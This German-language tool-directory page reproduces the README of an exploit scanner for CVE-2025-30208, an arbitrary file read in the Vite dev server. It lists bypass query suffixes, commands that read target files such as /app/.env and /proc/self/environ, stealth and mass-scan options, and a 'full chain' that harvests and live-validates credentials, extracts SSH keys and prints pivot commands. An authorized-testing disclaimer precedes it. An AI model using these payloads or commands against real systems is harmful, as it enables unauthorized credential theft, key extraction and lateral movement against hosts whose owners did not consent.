Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-30208 — Exploit-Scanner für CVE-2025-30208 (beliebiges Auslesen von Dateien in Vite) mit Multi-Varianten-Umgehungsdetektion, Credential-Harvesting, SSH-Schlüsselextraktion und strukturierter Berichterstattung für autorisierte Penetrationstests. | Kitploit
Tools/GitHubGitHub/hazavvip/cve-2025-30208
SchwachstellenanalyseExploitationWebanwendungs-ExploitationDatenexfiltrationInformationsbeschaffungPenetrationstests
GitHubhazavvip/cve-2025-30208

CVE-2025-30208

Exploit-Scanner für CVE-2025-30208 (beliebiges Auslesen von Dateien in Vite) mit Multi-Varianten-Umgehungsdetektion, Credential-Harvesting, SSH-Schlüsselextraktion und strukturierter Berichterstattung für autorisierte Penetrationstests.

Repository anzeigen
22vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2025-30208 — Vite – Beliebige Dateien lesen · v5

CVE: CVE-2025-30208
GHSA: GHSA-x574-m823-4x7w
Schweregrad: CVSS 5.3 Mittel (netzwerkerreichbarer Dev-Server)

⚠ Nur für autorisierte Sicherheitsengagements.
Die unbefugte Nutzung gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Erlaubnis zum Testen haben, ist illegal.


Beschreibung

Der Dev-Server von Vite erlaubt das Ausliefern beliebiger Dateien vom Host-Dateisystem über /@fs/-Anfragen.
Eine fehlende Überprüfung der Query-String-Bereinigung in betroffenen Versionen ermöglicht es einem Angreifer, speziell gestaltete Suffixe anzuhängen, um die Erlaubnisliste zu umgehen und jede Datei zu lesen, auf die der Prozess zugreifen kann – einschließlich .env-Dateien, SSH-Private-Keys, Cloud-Anmeldedaten und /proc-Einträge.


Betroffene Versionen

BranchLetzte anfällige VersionBehoben
6.3.x6.3.06.3.1+
6.2.x6.2.26.2.3+
6.1.x6.1.16.1.2+
6.0.x6.0.116.0.12+
5.4.x5.4.145.4.15+
4.5.x4.5.94.5.10+

Bypass-Varianten

NameSuffix / AbfrageBeschreibung
raw???raw??Nachgestelltes ?? umgeht rawRE
import&raw???import&raw??ES-Modul + raw kombiniert
raw??raw?Einzelnes nachgestelltes ?
url&raw???url&raw??URL-Modus kombiniert
raw&url???raw&url??Umgekehrte Parameterreihenfolge
import&?raw?import&?rawFehlerhaftes Import-Präfix
sec-fetch?raw + Sec-Fetch-HeaderBrowser-Script-Kontext
raw-encoded?raw%3f%3fURL-kodierte Trennzeichen
double-slash?raw??/Doppelschrägstrich-Suffix-Bypass (v5)
pct-all%3fraw%3f%3fVollständig prozentkodierte Abfrage (v5)
raw-hash?raw??#Fragment-Anker-Bypass (v5)
wasm-init?inline=1.wasm?initCVE-2025-31125 verwandt (wasm init)

Installation

pip install requests
# oder
pip install -r requirements.txt

Nutzung

Einzelnes Ziel – vollständiger Scan

python main.py -t https://target.com

Vollständige Exploitation-Kette (Live-Anmeldedatenvalidierung, Standardverhalten)

python main.py -t https://target.com --full-chain --output /tmp/report

Eine bestimmte Datei lesen

python main.py -t https://target.com --file /app/.env
python main.py -t https://target.com --file /proc/self/environ --save ./environ.txt

Stealth-Modus (zufällige Verzögerungen) + Upstream-Proxy

python main.py -t https://target.com --stealth --proxy http://127.0.0.1:8080

Massen-Scan aus einer Zielliste

python main.py -l targets.txt
python main.py -l targets.txt --workers 20 --ports 5173,3000,8080

Pipe-freundliche Ausgabe (keine ANSI-Codes)

python main.py -t https://target.com --no-color | tee scan.log

Version

python main.py --version

Als Paket ausführen

python -m cve30208 -t https://target.com

CLI-Referenz

FlagStandardBeschreibung
-t/--target—Einzelne Ziel-URL
-l/--lists—Datei mit einem Ziel pro Zeile
--stealthausZufällige Verzögerungen zwischen Anfragen hinzufügen
--proxy—HTTP/HTTPS-Proxy (http://host:port)
--timeout10Timeout pro Anfrage in Sekunden
--verifyausTLS-Zertifikatsprüfung aktivieren
--file—Einen bestimmten Pfad auf dem Zielhost lesen
--save—Inhalt von --file lokal speichern
--full-chainanVollständige Exploitation-Kette ausführen (Live-Validierung ist Standard)
--output—JSON- + Markdown-Bericht unter diesem Basis-Pfad speichern
--workers10Parallele Arbeiter für Massen-Scan
--portssiehe untenKomma-getrennte Ports für Massen-Scan
--no-color/--plainausANSI-Farbcodes deaktivieren
--safe-modeausGeheimniswerte in der Terminalausgabe schwärzen
--show-secretsausVollständige Terminal-Geheimnisse anzeigen (überschreibt --safe-mode)
--version—Version anzeigen und beenden

Standard-Massen-Scan-Ports: 5173, 4173, 3000, 8080, 8000, 4000, 5000, 9000, 80, 443


Ausgabe

Wenn --output /tmp/report angegeben wird, schreibt der Scanner:

  • /tmp/report.json — maschinenlesbare strukturierte Ergebnisse
  • /tmp/report.md — menschenlesbarer Markdown-Bericht

Der Massen-Scan gibt immer VULN_COUNT=N in der letzten Zeile aus, um einfache Shell-Scripting zu ermöglichen:

python main.py -l targets.txt | grep '^VULN_COUNT='

Einzelscan-Ausgaben geben am Ende SCAN_STATUS=VULNERABLE|NOT_VULNERABLE für die Automatisierung aus.


Architektur (v5)

cve30208/
├── __init__.py      — öffentliche API-Oberfläche
├── __main__.py      — Einstiegspunkt für python -m cve30208
├── constants.py     — BYPASS, CVE_SIBLING, SECRET_PATTERNS, SSH/Scan-Konstanten
├── ui.py            — ANSI-Farbcodes, Spin/NullSpin, Terminal-Hilfsfunktionen
├── utils.py         — gemeinsame Helfer (_unescape_js_string)
├── secrets.py       — scan_secrets(), parse_env(), parse_environ()
├── ssh.py           — extract_ssh_key(), collect_ssh_targets()
├── exploit.py       — ExploitResult, ExploitStage (Live-Anmeldedatenvalidierung)
│                      enthält eine Check-Registry für einfachere Erweiterung
├── report.py        — save_report(), make_md()
└── scanner.py       — FR/R-Dataclasses, Scanner, bulk_scan(), main()
main.py              — Abwärtskompatibilitäts-Shim
requirements.txt

Deduplizierung

Der Scanner unterdrückt automatisch wiederholte Artefakte, sodass die Ausgabe sauber bleibt, selbst wenn HOME gleich /root ist oder dasselbe Geheimnis in mehreren Dateien vorkommt:

EbeneMechanismus
Dateisystem-Lesevorgängestage_fs normalisiert die SSH-Key-Basisliste mit dict.fromkeys und verwirft doppelte Pfade aus der reads-Warteschlange, bevor eine Ausgabe erzeugt wird.
DateispeicherungenScanner._save prüft einen pro-Scan _seen_file_paths-Set; doppelte Pfade geben den bereits gespeicherten FR zurück, ohne erneut an r.files anzuhängen.
GeheimnisseScanner._save dedupliziert r.secrets global nach (name, value) über alle Dateien hinweg; die Deduplizierung innerhalb einer Datei wird separat in scan_secrets behandelt.
SSH-Schlüsselstage_ssh fasst Schlüssel mit derselben PEM-Signatur (erste _PEM_SIG_LEN Bytes) zusammen, die in mehreren Quelldateien vorkommen.
Pivot-BefehlePivot-Blöcke werden nach (key_source, host, port) indiziert; identische Kombinationen werden nur einmal ausgegeben.

Die Zusammenfassungszeile gibt an, wie viele Dateien, Geheimnisse und SSH-Schlüssel als Duplikate unterdrückt wurden, z.B.:

  deduped     2 Datei(en), 4 Anmeldedatensätze, 1 SSH-Schlüssel als Duplikate unterdrückt

Abhilfe

Tool herunterladen